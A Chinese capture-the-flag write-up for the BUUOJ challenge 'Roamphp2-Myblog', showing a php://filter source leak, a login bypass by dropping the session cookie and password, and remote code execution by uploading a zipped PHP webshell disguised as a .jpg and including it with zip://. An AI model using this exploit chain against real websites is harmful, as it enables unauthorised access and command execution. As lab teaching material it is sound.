[极客大挑战 2020]Roamphp2-Myblog
[极客大挑战 2020]Roamphp2-Myblog
考点
PHP session登录逻辑漏洞
文件上传
文件上传+zip伪协议getshell
wp
链接像文件包含
http://caac6260-fed6-4ec8-9774-2bd683f115f2.node4.buuoj.cn:81/index.php?page=home
http://caac6260-fed6-4ec8-9774-2bd683f115f2.node4.buuoj.cn:81/index.php?page=php://filter/read=convert.base64-encode/resource=home
可以得到源码,只能读login.php,home.php,secret.php和admin/user.php
home.php全是HTML,只剩下登录的逻辑了,代码比较少,简化一下如下
<?php
// login.php
$secret_seed = mt_rand();
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
// admin/user.php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
die();
}
?>从login.php登录,POST数据到admin/user.php进行校验。在校验时是比较输入的password与session中存储的password是否一致,但是如果没有sessionid,那么$_SESSION['password']的结果就是NULL,登录的时候密码不填就可以登录了。
burp抓包把Cookie和password的值删掉,在Forward即可

登录之后就是文件上传
前有文件包含,但是只能包含.php,后有文件上传,但是只能上传图片。这样就只剩下伪协议了,phar和zip
写一个一句话木马123.php,然后压缩成123.zip,改名为123.jpg,再上传,得到路径assets/img/upload/d522c95c5a225a8e313f30883076d6e34688ec6d.jpg
然后使用zip://伪协议?page=zip://assets/img/upload/d522c95c5a225a8e313f30883076d6e34688ec6d.jpg%23123
POST cmd=system("cat /flllaggggggggg_isssssssssss_heeeeeeeeeere");
最后更新于